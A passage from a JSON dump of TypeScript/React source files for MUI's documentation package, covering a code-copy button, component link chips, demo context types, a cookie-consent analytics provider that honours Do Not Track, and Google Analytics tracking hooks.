    "content": "import useClipboardCopy from './useClipboardCopy';\n\nexport interface CodeCopyButtonProps {\n  code: string;\n}\n\nexport function CodeCopyButton(props: CodeCopyButtonProps) {\n  const { code, ...other } = props;\n  const { copy, isCopied } = useClipboardCopy();\n  // This component is designed to be wrapped in NoSsr\n  const macOS = window.navigator.platform.toUpperCase().includes('MAC');\n  const key = macOS ? '⌘' : 'Ctrl + ';\n\n  return (\n    <div className=\"MuiCode-copy-container\">\n      <button\n        {...other}\n        aria-label=\"Copy the code\"\n        type=\"button\"\n        className=\"MuiCode-copy\"\n        onClick={async () => {\n          // event.stopPropagation();\n          await copy(code);\n        }}\n      >\n        {isCopied ? 'Copied' : 'Copy'}\n        <span className=\"MuiCode-copyKeypress\" style={{ opacity: isCopied ? 0 : 1 }}>\n          <span>(or</span> {key}C<span>)</span>\n        </span>\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/CodeCopy/index.ts",
    "content": "export * from './CodeCopy';\nexport * from './CodeCopyButton';\nexport { default as useClipboardCopy } from './useClipboardCopy';\n"
  },
  {
    "path": "packages/mui-docs/src/CodeCopy/useClipboardCopy.ts",
    "content": "import * as React from 'react';\nimport clipboardCopy from 'clipboard-copy';\n\nexport default function useClipboardCopy() {\n  const [isCopied, setIsCopied] = React.useState(false);\n  const timeout = React.useRef<ReturnType<typeof setTimeout>>(undefined);\n\n  React.useEffect(\n    () => () => {\n      clearTimeout(timeout.current);\n    },\n    [],\n  );\n\n  const copy = async (text: string) => {\n    await clipboardCopy(text);\n    setIsCopied(true);\n    clearTimeout(timeout.current);\n    timeout.current = setTimeout(() => {\n      setIsCopied(false);\n    }, 1200);\n  };\n\n  return { copy, isCopied };\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ComponentLinkHeader/ComponentLinkHeader.tsx",
    "content": "import * as React from 'react';\nimport { useRouter } from 'next/router';\nimport Chip from '@mui/material/Chip';\nimport Tooltip from '@mui/material/Tooltip';\nimport ChatRounded from '@mui/icons-material/ChatRounded';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport { styled } from '@mui/material/styles';\nimport { MarkdownHeaders } from '@mui/internal-markdown';\nimport MarkdownIcon from '../svgIcons/MarkdownIcon';\nimport SketchIcon from '../svgIcons/SketchIcon';\nimport FigmaIcon from '../svgIcons/FigmaIcon';\nimport BundleSizeIcon from '../svgIcons/BundleSizeIcon';\nimport W3CIcon from '../svgIcons/W3CIcon';\nimport MaterialDesignIcon from '../svgIcons/MaterialDesignIcon';\nimport { useTranslate } from '../i18n';\n\nconst Root = styled('ul')(({ theme }) => ({\n  margin: theme.spacing(2, 0),\n  padding: 0,\n  listStyle: 'none',\n  display: 'flex',\n  flexWrap: 'wrap',\n  gap: 8,\n  '& .MuiChip-root': {\n    height: 26,\n    padding: '0 8px',\n    gap: 6,\n    '& .MuiChip-label': { padding: 0 },\n    '& .MuiChip-iconSmall': {\n      margin: 0,\n      fontSize: 14,\n    },\n  },\n}));\n\nconst defaultPackageNames: Record<string, string | undefined> = {\n  'material-ui': '@mui/material',\n  'joy-ui': '@mui/joy',\n  'base-ui': '@mui/base',\n  system: '@mui/system',\n};\n\nexport interface ComponentLinkHeaderProps {\n  design?: boolean;\n  markdown: {\n    headers: MarkdownHeaders;\n  };\n}\n\nexport function ComponentLinkHeader(props: ComponentLinkHeaderProps) {\n  const {\n    markdown: { headers },\n    design,\n  } = props;\n  const t = useTranslate();\n  const router = useRouter();\n\n  const packageName =\n    headers.packageName ?? defaultPackageNames[headers.productId] ?? '@mui/material';\n\n  return (\n    <Root>\n      {packageName === '@mui/material' && (\n        <li>\n          <Chip\n            clickable\n            role={undefined}\n            component=\"a\"\n            size=\"small\"\n            variant=\"outlined\"\n            href={`${router.pathname}.md`}\n            icon={<MarkdownIcon />}\n            data-ga-event-category=\"ComponentLinkHeader\"\n            data-ga-event-action=\"click\"\n            data-ga-event-label=\"Markdown\"\n            data-ga-event-split=\"0.1\"\n            label=\"View as Markdown\"\n          />\n        </li>\n      )}\n      {headers.githubLabel ? (\n        <li>\n          <Chip\n            clickable\n            role={undefined}\n            component=\"a\"\n            size=\"small\"\n            variant=\"outlined\"\n            rel=\"nofollow\"\n            href={`${process.env.SOURCE_CODE_REPO}/labels/${encodeURIComponent(\n              headers.githubLabel,\n            )}`}\n            icon={<ChatRounded color=\"primary\" />}\n            data-ga-event-category=\"ComponentLinkHeader\"\n            data-ga-event-action=\"click\"\n            data-ga-event-label={t('githubLabel')}\n            data-ga-event-split=\"0.1\"\n            label={t('githubLabel')}\n          />\n        </li>\n      ) : null}\n      <li>\n        <Tooltip title={t('bundleSizeTooltip')} describeChild>\n          <Chip\n            clickable\n            role={undefined}\n            component=\"a\"\n            size=\"small\"\n            variant=\"outlined\"\n            rel=\"nofollow\"\n            href={`https://bundlephobia.com/package/${packageName}@latest`}\n            icon={<BundleSizeIcon color=\"primary\" />}\n            data-ga-event-category=\"ComponentLinkHeader\"\n            data-ga-event-action=\"click\"\n            data-ga-event-label={t('bundleSize')}\n            data-ga-event-split=\"0.1\"\n            label={t('bundleSize')}\n          />\n        </Tooltip>\n      </li>\n      {headers.githubSource ? (\n        <li>\n          <Chip\n            clickable\n            role={undefined}\n            component=\"a\"\n            size=\"small\"\n            variant=\"outlined\"\n            rel=\"nofollow\"\n            href={`${process.env.SOURCE_CODE_REPO}/tree/v${process.env.LIB_VERSION}/${headers.githubSource}`}\n            icon={<GitHubIcon />}\n            data-ga-event-category=\"ComponentLinkHeader\"\n            data-ga-event-action=\"click\"\n            data-ga-event-label=\"Source\"\n            data-ga-event-split=\"0.1\"\n            label=\"Source\"\n          />\n        </li>\n      ) : null}\n      {headers.waiAria ? (\n        <li>\n          <Chip\n            clickable\n            role={undefined}\n            component=\"a\"\n            size=\"small\"\n            variant=\"outlined\"\n            rel=\"nofollow\"\n            href={headers.waiAria}\n            icon={<W3CIcon color=\"primary\" />}\n            data-ga-event-category=\"ComponentLinkHeader\"\n            data-ga-event-action=\"click\"\n            data-ga-event-label=\"WAI-ARIA\"\n            data-ga-event-split=\"0.1\"\n            label=\"WAI-ARIA\"\n          />\n        </li>\n      ) : null}\n      {headers.materialDesign ? (\n        <li>\n          <Chip\n            clickable\n            role={undefined}\n            component=\"a\"\n            size=\"small\"\n            variant=\"outlined\"\n            rel=\"nofollow\"\n            href={headers.materialDesign}\n            icon={<MaterialDesignIcon />}\n            data-ga-event-category=\"ComponentLinkHeader\"\n            data-ga-event-action=\"click\"\n            data-ga-event-label=\"Material Design\"\n            data-ga-event-split=\"0.1\"\n            label=\"Material Design\"\n          />\n        </li>\n      ) : null}\n      {design === false ? null : (\n        <React.Fragment>\n          <li>\n            <Chip\n              clickable\n              role={undefined}\n              component=\"a\"\n              size=\"small\"\n              variant=\"outlined\"\n              rel=\"nofollow\"\n              href=\"https://mui.com/store/items/figma-react/?utm_source=docs&utm_medium=referral&utm_campaign=component-link-header\"\n              icon={<FigmaIcon />}\n              data-ga-event-category=\"ComponentLinkHeader\"\n              data-ga-event-action=\"click\"\n              data-ga-event-label=\"Figma\"\n              data-ga-event-split=\"0.1\"\n              label=\"Figma\"\n            />\n          </li>\n          {packageName === '@mui/joy' ? null : (\n            <li>\n              <Chip\n                clickable\n                role={undefined}\n                component=\"a\"\n                size=\"small\"\n                variant=\"outlined\"\n                rel=\"nofollow\"\n                href=\"https://mui.com/store/items/sketch-react/?utm_source=docs&utm_medium=referral&utm_campaign=component-link-header\"\n                icon={<SketchIcon />}\n                data-ga-event-category=\"ComponentLinkHeader\"\n                data-ga-event-action=\"click\"\n                data-ga-event-label=\"Sketch\"\n                data-ga-event-split=\"0.1\"\n                label=\"Sketch\"\n              />\n            </li>\n          )}\n        </React.Fragment>\n      )}\n    </Root>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ComponentLinkHeader/index.ts",
    "content": "export * from './ComponentLinkHeader';\nexport { ComponentLinkHeader as default } from './ComponentLinkHeader';\n"
  },
  {
    "path": "packages/mui-docs/src/DemoContext/DemoContext.tsx",
    "content": "import * as React from 'react';\nimport type { MuiProductId } from '../getProductInfoFromUrl';\n\nexport type CodeVariant = 'TS' | 'JS';\n\ntype RelativeModule = {\n  module: string;\n  raw: string;\n};\n\nexport interface DemoData {\n  title: string;\n  language: string;\n  raw: string;\n  codeVariant: CodeVariant;\n  githubLocation: string;\n  productId?: Exclude<MuiProductId, 'null'>;\n  relativeModules?: RelativeModule[];\n}\n\nexport interface SandboxConfig {\n  /**\n   * Generates the root index.js/tsx content for CodeSandbox/StackBlitz.\n   * Receives codeVariant ('TS' | 'JS') for type assertion.\n   */\n  getRootIndex?: (codeVariant: CodeVariant) => string;\n\n  /**\n   * Primary npm package for this product, used in sandbox generation.\n   * e.g., \"@mui/material\", \"@mui/joy\", \"@mui/x-data-grid\"\n   */\n  primaryPackage: string;\n\n  /**\n   * Default dependency to add when generating sandbox (e.g., '@mui/material' for StyledEngineProvider)\n   * Used when the root index template requires a specific package.\n   */\n  fallbackDependency?: { name: string; version: string };\n\n  /**\n   * Hook to add extra peer dependencies to sandbox.\n   */\n  includePeerDependencies?: (\n    deps: Record<string, string>,\n    options: { versions: Record<string, string> },\n  ) => Record<string, string>;\n\n  /**\n   * Hook to override default package versions.\n   */\n  getVersions?: (\n    versions: Record<string, string>,\n    options: { muiCommitRef?: string },\n  ) => Record<string, string>;\n\n  /**\n   * Hook to resolve custom imports to dependencies.\n   */\n  postProcessImport?: (importName: string) => Record<string, string> | null;\n}\n\nexport interface IframeWrapperProps {\n  /**\n   * The demo content (already cloned with `window` prop by FramedDemo).\n   * The wrapper should just render {children} - no cloning needed.\n   */\n  children: React.ReactElement;\n  /** The iframe's document, for setting attributes or observing color scheme */\n  document: Document;\n  /** If true, the demo is isolated and should not inject theme CSS variables */\n  isolated?: boolean;\n}\n\nexport interface DemoContextValue {\n  /**\n   * Display name shown in demo titles, e.g., \"Material UI\", \"Joy UI\", \"MUI X\"\n   */\n  productDisplayName: string;\n\n  /**\n   * Optional wrapper component for iframe demo content.\n   * Responsible for:\n   * - Creating and injecting CSS theme variables (via GlobalStyles)\n   * - Any product-specific observers (e.g., JoyIframeObserver)\n   *\n   * If not provided, defaults to MaterialIframeWrapper (creates Material theme).\n   * Pass `null` explicitly to disable iframe wrapping entirely.\n   */\n  IframeWrapper?: React.ComponentType<IframeWrapperProps> | null;\n\n  /**\n   * Configuration for CodeSandbox/StackBlitz sandbox generation.\n   */\n  csb: SandboxConfig;\n}\n\nconst DemoContext = React.createContext<DemoContextValue | null>(null);\n\nif (process.env.NODE_ENV !== 'production') {\n  DemoContext.displayName = 'DemoContext';\n}\n\nexport function useDemoContext(): DemoContextValue {\n  const context = React.useContext(DemoContext);\n  if (!context) {\n    throw new Error('useDemoContext must be used within a DemoContext.Provider');\n  }\n  return context;\n}\n\nexport default DemoContext;\n"
  },
  {
    "path": "packages/mui-docs/src/DemoContext/index.ts",
    "content": "export { default, useDemoContext } from './DemoContext';\nexport type {\n  CodeVariant,\n  DemoData,\n  SandboxConfig,\n  IframeWrapperProps,\n  DemoContextValue,\n} from './DemoContext';\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/AnalyticsProvider.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport useLocalStorageState from '@mui/utils/useLocalStorageState';\nimport { alpha } from '@mui/system';\nimport Portal from '@mui/material/Portal';\nimport TrapFocus from '@mui/material/Unstable_TrapFocus';\nimport CookieOutlinedIcon from '@mui/icons-material/CookieOutlined';\nimport { BrandingCssThemeProvider } from '../branding/BrandingCssVarsProvider';\n\nconst COOKIE_CONSENT_KEY = 'docs-cookie-consent';\n\ntype ConsentStatus = 'analytics' | 'essential' | null;\n\nfunction getDoNotTrack(): boolean {\n  if (typeof window === 'undefined') {\n    return false;\n  }\n  // Check for Do Not Track (DNT)\n  return navigator.doNotTrack === '1' || (window as { doNotTrack?: string }).doNotTrack === '1';\n}\n\n// DNT doesn't change during a session, so we can use a simple external store\nconst subscribeToNothing = () => () => {};\nconst getDoNotTrackSnapshot = () => getDoNotTrack();\nconst getDoNotTrackServerSnapshot = () => true; // Assume DNT until we know the actual value\n\nfunction useDoNotTrack(): boolean {\n  return React.useSyncExternalStore(\n    subscribeToNothing,\n    getDoNotTrackSnapshot,\n    getDoNotTrackServerSnapshot,\n  );\n}\n\ninterface AnalyticsContextValue {\n  consentStatus: ConsentStatus;\n  hasAnalyticsConsent: boolean;\n  needsConsent: boolean;\n  setAnalyticsConsent: () => void;\n  setEssentialOnly: () => void;\n}\n\nconst AnalyticsContext = React.createContext<AnalyticsContextValue>({\n  consentStatus: null,\n  hasAnalyticsConsent: false,\n  needsConsent: false,\n  setAnalyticsConsent: () => {},\n  setEssentialOnly: () => {},\n});\n\nexport function useAnalyticsConsent() {\n  return React.useContext(AnalyticsContext);\n}\n\nexport function CookieConsentDialog() {\n  const { needsConsent, setAnalyticsConsent, setEssentialOnly } = useAnalyticsConsent();\n  const [show, setShow] = React.useState(false);\n\n  React.useEffect(() => {\n    if (needsConsent) {\n      // Double rAF to ensure the initial opacity: 0 state is painted before transitioning\n      const frame = requestAnimationFrame(() => {\n        requestAnimationFrame(() => {\n          setShow(true);\n        });\n      });\n      return () => cancelAnimationFrame(frame);\n    }\n    setShow(false);\n    return undefined;\n  }, [needsConsent]);\n\n  return (\n    <Portal>\n      <TrapFocus open={needsConsent} disableAutoFocus disableEnforceFocus>\n        <Fade in={show} unmountOnExit>\n          <Paper\n            role=\"dialog\"\n            aria-modal=\"false\"\n            aria-labelledby=\"cookie-consent-dialog-title\"\n            aria-describedby=\"cookie-consent-dialog-description\"\n            variant=\"outlined\"\n            tabIndex={-1}\n            sx={(theme) => ({\n              position: 'fixed',\n              bottom: 0,\n              right: 0,\n              p: 2,\n              m: 2,\n              maxWidth: 340,\n              pointerEvents: 'auto',\n              boxShadow: theme.shadows[2],\n              zIndex: theme.zIndex.snackbar,\n              ...(theme.applyDarkStyles\n                ? theme.applyDarkStyles({\n                    bgcolor: 'primaryDark.900',\n                  })\n                : {\n                    [theme.getColorSchemeSelector?.('dark') || '&.mode-dark']: {\n                      bgcolor: 'primaryDark.900',\n                    },\n                  }),\n            })}\n          >\n            <Stack direction=\"column\" spacing={3} sx={{ justifyContent: 'flex-start' }}>\n              <Stack\n                spacing={1}\n                sx={{ flexShrink: 1, alignSelf: { xs: 'flex-start', sm: 'center' } }}\n              >\n                <Box\n                  sx={(theme) => ({\n                    borderRadius: '50%',\n                    bgcolor: alpha(theme.palette.primary.main, 0.1),\n                    p: 1,\n                    display: 'inline-block',\n                    width: 40,\n                    height: 40,\n                    mb: -1,\n                    alignSelf: { xs: 'center', sm: 'flex-start' },\n                  })}\n                >\n                  <CookieOutlinedIcon color=\"primary\" strokeWidth={1.5} />\n                </Box>\n                <Stack spacing={0.5}>\n                  <Typography\n                    variant=\"subtitle2\"\n                    id=\"cookie-consent-dialog-title\"\n                    sx={{ textAlign: { xs: 'center', sm: 'start' } }}\n                  >\n                    Cookie Preferences\n                  </Typography>\n                  <Typography\n                    id=\"cookie-consent-dialog-description\"\n                    variant=\"body2\"\n                    sx={{ textAlign: { xs: 'center', sm: 'start' } }}\n                  >\n                    We use cookies to understand site usage and improve our content. This includes\n                    third-party analytics.\n                  </Typography>\n                </Stack>\n              </Stack>\n\n              <Stack direction=\"row\" spacing={1} sx={{ justifyContent: 'flex-start' }}>\n                <Button onClick={setAnalyticsConsent} variant=\"contained\" size=\"small\">\n                  Allow analytics\n                </Button>\n                <Button onClick={setEssentialOnly} size=\"small\">\n                  Essential only\n                </Button>\n              </Stack>\n            </Stack>\n          </Paper>\n        </Fade>\n      </TrapFocus>\n    </Portal>\n  );\n}\n\nfunction updateGoogleConsent(hasAnalytics: boolean) {\n  if (typeof window !== 'undefined' && typeof window.gtag === 'function') {\n    window.gtag('consent', 'update', {\n      ad_storage: 'denied',\n      ad_user_data: 'denied',\n      ad_personalization: 'denied',\n      analytics_storage: hasAnalytics ? 'granted' : 'denied',\n    });\n\n    // Initialize Apollo when analytics consent is granted\n    const win = window as typeof window & { initApollo?: () => void };\n    if (hasAnalytics && typeof win.initApollo === 'function') {\n      win.initApollo();\n    }\n  }\n}\n\nexport function AnalyticsProvider({ children }: { children: React.ReactNode }) {\n  const [consentStatus, setConsentStatus] = useLocalStorageState(COOKIE_CONSENT_KEY, null);\n  const doNotTrack = useDoNotTrack();\n\n  // Respect Do Not Track - don't show dialog and treat as essential only\n  const needsConsent = consentStatus === null && !doNotTrack;\n\n  // Update Google consent when status changes or on mount if already set\n  React.useEffect(() => {\n    if (doNotTrack) {\n      // DNT is enabled - always deny analytics\n      updateGoogleConsent(false);\n    } else if (consentStatus !== null) {\n      updateGoogleConsent(consentStatus === 'analytics');\n    }\n  }, [consentStatus, doNotTrack]);\n\n  const setAnalyticsConsent = React.useCallback(() => {\n    setConsentStatus('analytics');\n  }, [setConsentStatus]);\n\n  const setEssentialOnly = React.useCallback(() => {\n    setConsentStatus('essential');\n  }, [setConsentStatus]);\n\n  const contextValue = React.useMemo<AnalyticsContextValue>(\n    () => ({\n      consentStatus: doNotTrack ? 'essential' : (consentStatus as ConsentStatus),\n      hasAnalyticsConsent: !doNotTrack && consentStatus === 'analytics',\n      needsConsent,\n      setAnalyticsConsent,\n      setEssentialOnly,\n    }),\n    [consentStatus, doNotTrack, needsConsent, setAnalyticsConsent, setEssentialOnly],\n  );\n\n  return (\n    <AnalyticsContext.Provider value={contextValue}>\n      {children}\n      <BrandingCssThemeProvider>\n        <CookieConsentDialog />\n      </BrandingCssThemeProvider>\n    </AnalyticsContext.Provider>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/DocsApp.tsx",
    "content": "import NextHead from 'next/head';\nimport * as React from 'react';\nimport type { AdConfig } from '../Ad';\nimport { CodeCopyProvider } from '../CodeCopy';\nimport type { DemoContextValue } from '../DemoContext';\nimport DemoContext from '../DemoContext';\nimport type { DocsConfig } from '../DocsProvider';\nimport { DocsProvider } from '../DocsProvider';\nimport type { MuiPageContext } from '../PageContext';\nimport PageContext from '../PageContext';\nimport { ThemeProvider } from '../ThemeContext';\nimport { CodeStylingProvider } from '../codeStyling';\nimport { CodeVariantProvider } from '../codeVariant';\nimport type { Translations } from '../i18n';\nimport { AnalyticsProvider } from './AnalyticsProvider';\nimport GoogleAnalytics from './GoogleAnalytics';\nimport DocsStyledEngineProvider from './StyledEngineProvider';\nimport createEmotionCache from './createEmotionCache';\nimport { loadDependencies } from './loadDependencies';\nimport { registerServiceWorker } from './serviceWorker';\n\n// Client-side cache, shared for the whole session of the user in the browser.\nconst clientSideEmotionCache = createEmotionCache();\n\nexport interface DocsAppProps {\n  /**\n   * The Next.js page component.\n   */\n  Component: React.ComponentType<any> & {\n    getLayout?: (page: React.ReactElement) => React.ReactNode;\n  };\n  /**\n   * The Emotion cache for CSS-in-JS. Falls back to a client-side cache.\n   */\n  emotionCache?: ReturnType<typeof createEmotionCache>;\n  /**\n   * Page props from Next.js, including userLanguage and translations.\n   */\n  pageProps: {\n    userLanguage: string;\n    translations: Translations;\n    [key: string]: unknown;\n  };\n  /**\n   * Docs configuration object (from docs/config.ts)\n   */\n  docsConfig: DocsConfig;\n  /**\n   * Path to the service worker file, e.g. '/sw.js'\n   */\n  serviceWorkerPath: string;\n  /**\n   * The currently active page object\n   */\n  activePage: MuiPageContext['activePage'];\n  /**\n   * The parent pages of the active page\n   */\n  activePageParents: MuiPageContext['activePageParents'];\n  /**\n   * List of all pages for the product\n   */\n  pageList: MuiPageContext['pages'];\n  /**\n   * Product metadata and branding info\n   */\n  productIdentifier: MuiPageContext['productIdentifier'];\n  /**\n   * Product identifier string (e.g. 'material-ui')\n   */\n  productId: MuiPageContext['productId'];\n  /**\n   * Product category identifier string (e.g. 'core')\n   */\n  productCategoryId: MuiPageContext['productCategoryId'];\n  /**\n   * Display name for the product (e.g. 'Material UI')\n   */\n  demoDisplayName: DemoContextValue['productDisplayName'];\n  /**\n   * CodeSandbox configuration for demos\n   */\n  csbConfig: DemoContextValue['csb'];\n  /**\n   * Optional ad configuration\n   */\n  adConfig?: Partial<AdConfig>;\n  /**\n   * Optional wrapper component for theming\n   */\n  ThemeWrapper?: React.ComponentType<{ children: React.ReactNode }>;\n}\n\nfunction DocsApp(props: DocsAppProps) {\n  const {\n    Component,\n    emotionCache = clientSideEmotionCache,\n    pageProps,\n    docsConfig,\n    serviceWorkerPath,\n    activePage,\n    activePageParents,\n    pageList,\n    productIdentifier,\n    productId,\n    productCategoryId,\n    demoDisplayName,\n    csbConfig,\n    adConfig,\n    ThemeWrapper = ThemeProvider,\n  } = props;\n\n  const pageContextValue: MuiPageContext = React.useMemo(\n    () => ({\n      activePage,\n      activePageParents,\n      pages: pageList,\n      productIdentifier,\n      productId,\n      productCategoryId,\n    }),\n    [activePage, activePageParents, pageList, productIdentifier, productId, productCategoryId],\n  );\n\n  const demoContextValue: DemoContextValue = React.useMemo(\n    () => ({\n      productDisplayName: demoDisplayName,\n      csb: csbConfig,\n    }),\n    [demoDisplayName, csbConfig],\n  );\n\n  const getLayout = Component.getLayout ?? ((page: React.ReactElement) => page);\n\n  React.useEffect(() => {\n    loadDependencies();\n    registerServiceWorker(serviceWorkerPath);\n\n    // Remove the server-side injected CSS.\n    const jssStyles = document.querySelector('#jss-server-side');\n    if (jssStyles) {\n      jssStyles.parentElement!.removeChild(jssStyles);\n    }\n  }, []); // eslint-disable-line react-hooks/exhaustive-deps\n\n  return (\n    <React.Fragment>\n      <NextHead>\n        <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n        <meta name=\"mui:productId\" content={productId} />\n        <meta name=\"mui:productCategoryId\" content={productCategoryId} />\n      </NextHead>\n      <DocsProvider\n        config={docsConfig}\n        adConfig={adConfig}\n        defaultUserLanguage={pageProps.userLanguage}\n        translations={pageProps.translations}\n      >\n        <CodeCopyProvider>\n          <CodeStylingProvider>\n            <CodeVariantProvider>\n              <PageContext.Provider value={pageContextValue}>\n                <DemoContext.Provider value={demoContextValue}>\n                  <ThemeWrapper>\n                    <DocsStyledEngineProvider cacheLtr={emotionCache}>\n                      <AnalyticsProvider>\n                        {getLayout(<Component {...pageProps} />)}\n                        <GoogleAnalytics />\n                      </AnalyticsProvider>\n                    </DocsStyledEngineProvider>\n                  </ThemeWrapper>\n                </DemoContext.Provider>\n              </PageContext.Provider>\n            </CodeVariantProvider>\n          </CodeStylingProvider>\n        </CodeCopyProvider>\n      </DocsProvider>\n    </React.Fragment>\n  );\n}\n\nexport { DocsApp };\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/GoogleAnalytics.tsx",
    "content": "import * as React from 'react';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { useRouter } from 'next/router';\nimport { useNoSsrCodeVariant } from '../codeVariant';\nimport { useUserLanguage } from '../i18n';\nimport { pathnameToLanguage } from '../helpers';\nimport { ThemeOptionsContext } from '../ThemeContext';\n\n// So we can write code like:\n//\n// <Button\n//   data-ga-event-category=\"demo\"\n//   data-ga-event-action=\"expand\"\n// >\n//   Foo\n// </Button>\nfunction handleClick(event: PointerEvent) {\n  let el = event.target;\n\n  while (el && el !== document) {\n    const element = el as HTMLElement;\n    const category = element.getAttribute('data-ga-event-category');\n\n    // We reach a tracking element, no need to look higher in the dom tree.\n    if (category) {\n      const split = parseFloat(element.getAttribute('data-ga-event-split') || '');\n\n      if (split && split < Math.random()) {\n        return;\n      }\n\n      window.gtag('event', category, {\n        eventAction: element.getAttribute('data-ga-event-action'),\n        eventLabel: element.getAttribute('data-ga-event-label'),\n      });\n      break;\n    }\n\n    el = element.parentElement;\n  }\n}\n\nlet boundDataGaListener = false;\n\n/**\n * basically just a `useAnalytics` hook.\n * However, it needs the redux store which is created\n * in the same component this \"hook\" is used.\n */\nfunction GoogleAnalytics() {\n  React.useEffect(() => {\n    if (!boundDataGaListener) {\n      boundDataGaListener = true;\n      document.addEventListener('click', handleClick);\n    }\n  }, []);\n  const router = useRouter();\n  const timeout = React.useRef<NodeJS.Timeout | null>(null);\n\n  React.useEffect(() => {\n    // Wait for the title to be updated.\n    // React fires useEffect twice in dev mode\n    if (timeout.current) {\n      clearTimeout(timeout.current);\n    }\n    timeout.current = setTimeout(() => {\n      const { canonicalAsServer } = pathnameToLanguage(window.location.pathname);\n\n      // https://developers.google.com/analytics/devguides/collection/ga4/views?client_type=gtag\n      const productIdMeta = document.querySelector(\n        'meta[name=\"mui:productId\"]',\n      ) as HTMLMetaElement | null;\n      const productCategoryIdMeta = document.querySelector(\n        'meta[name=\"mui:productCategoryId\"]',\n      ) as HTMLMetaElement | null;\n      window.gtag('event', 'page_view', {\n        page_title: document.title,\n        page_location: canonicalAsServer,\n        productId: productIdMeta?.content,\n        productCategoryId: productCategoryIdMeta?.content,\n      });\n    });\n  }, [router.route]);\n\n  const codeVariant = useNoSsrCodeVariant();\n  React.useEffect(() => {\n    window.gtag('set', 'user_properties', {\n      codeVariant,\n    });\n  }, [codeVariant]);\n\n  const userLanguage = useUserLanguage();\n  React.useEffect(() => {\n    window.gtag('set', 'user_properties', {\n      userLanguage,\n    });\n  }, [userLanguage]);\n\n  React.useEffect(() => {\n    /**\n     * Based on https://developer.mozilla.org/en-US/docs/Web/API/Window/devicePixelRatio#Monitoring_screen_resolution_or_zoom_level_changes\n     * Adjusted to track 3 or more different ratios\n     */\n    function trackDevicePixelRation() {\n      const devicePixelRatio = Math.round(window.devicePixelRatio * 10) / 10;\n      window.gtag('set', 'user_properties', {\n        devicePixelRatio,\n      });\n    }\n\n    trackDevicePixelRation();\n\n    /**\n     * @type {MediaQueryList}\n     */\n    const matchMedia = window.matchMedia(`(resolution: ${window.devicePixelRatio}dppx)`);\n    // Intentionally use deprecated listener methods to support iOS & old browsers\n    matchMedia.addListener(trackDevicePixelRation);\n    return () => {\n      matchMedia.removeListener(trackDevicePixelRation);\n    };\n  }, []);\n\n  const prefersDarkMode = useMediaQuery('(prefers-color-scheme: dark)', { noSsr: true });\n  const colorSchemeOS = prefersDarkMode ? 'dark' : 'light';\n\n  const themeOptions = React.useContext(ThemeOptionsContext);\n  const colorScheme = themeOptions.paletteMode;\n\n  React.useEffect(() => {\n    window.gtag('set', 'user_properties', {\n      colorSchemeOS,\n    });\n  }, [colorSchemeOS]);\n\n  React.useEffect(() => {\n    window.gtag('set', 'user_properties', {\n      colorScheme,\n    });\n  }, [colorScheme]);\n\n  return null;\n}\n\nexport default React.memo(GoogleAnalytics);\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/StyledEngineProvider.tsx",
    "content": "import * as React from 'react';\nimport { StyleSheetManager } from 'styled-components';\nimport { CacheProvider } from '@emotion/react';\nimport { createEmotionCache as createCache } from '@mui/material-nextjs/v15-pagesRouter';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { ThemeOptionsContext } from '../ThemeContext';\nimport globalSelector from '../globalSelector';\n\ntype StyledEngineProviderProps = {\n  cacheLtr: ReturnType<typeof createCache>;\n  children: React.ReactNode;\n};\n\n// Cache for the rtl version of the styles\nconst cacheRtl = createCache({\n  key: 'rtl',\n  prepend: true,\n  enableCssLayer: true,\n  stylisPlugins: [prefixer, rtlPlugin, globalSelector],\n});\n\nexport default function StyledEngineProvider(props: StyledEngineProviderProps) {\n  const { children, cacheLtr } = props;\n  const { direction } = React.useContext(ThemeOptionsContext);\n\n  const rtl = direction === 'rtl';\n  const emotionCache = direction === 'rtl' ? cacheRtl : cacheLtr;\n\n  return (\n    <StyleSheetManager stylisPlugins={rtl ? [rtlPlugin] : []}>\n      <CacheProvider value={emotionCache}>\n        <GlobalStyles styles=\"@layer theme, docsearch, mui, utilities;\" />\n        {children}\n      </CacheProvider>\n    </StyleSheetManager>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/consoleBanner.ts",
    "content": "import { getTheme } from '../branding';\n\ninterface WindowWithTheme extends Window {\n  theme?: ReturnType<typeof getTheme>;\n}\n\ndeclare const window: WindowWithTheme;\n\nexport function printConsoleBanner(): void {\n  if (typeof window !== 'undefined' && process.env.NODE_ENV === 'production') {\n    window.theme = getTheme('ltr');\n    // eslint-disable-next-line no-console\n    console.log(\n      `%c\n\n███╗   ███╗ ██╗   ██╗ ██████╗\n████╗ ████║ ██║   ██║   ██╔═╝\n██╔████╔██║ ██║   ██║   ██║\n██║╚██╔╝██║ ██║   ██║   ██║\n██║ ╚═╝ ██║ ╚██████╔╝ ██████╗\n╚═╝     ╚═╝  ╚═════╝  ╚═════╝\n\nTip: you can access the documentation \\`theme\\` object directly in the console.\n`,\n      'font-family:monospace;color:#1976d2;font-size:12px;',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/createEmotionCache.ts",
    "content": "import { createEmotionCache as createCache } from '@mui/material-nextjs/v15-pagesRouter';\nimport { prefixer } from 'stylis';\nimport globalSelector from '../globalSelector';\n\nexport default function createEmotionCache() {\n  // TODO remove prepend: true once JSS is out\n  return createCache({\n    key: 'css',\n    prepend: true,\n    enableCssLayer: true,\n    stylisPlugins: [prefixer, globalSelector],\n  });\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/createGetInitialProps.ts",
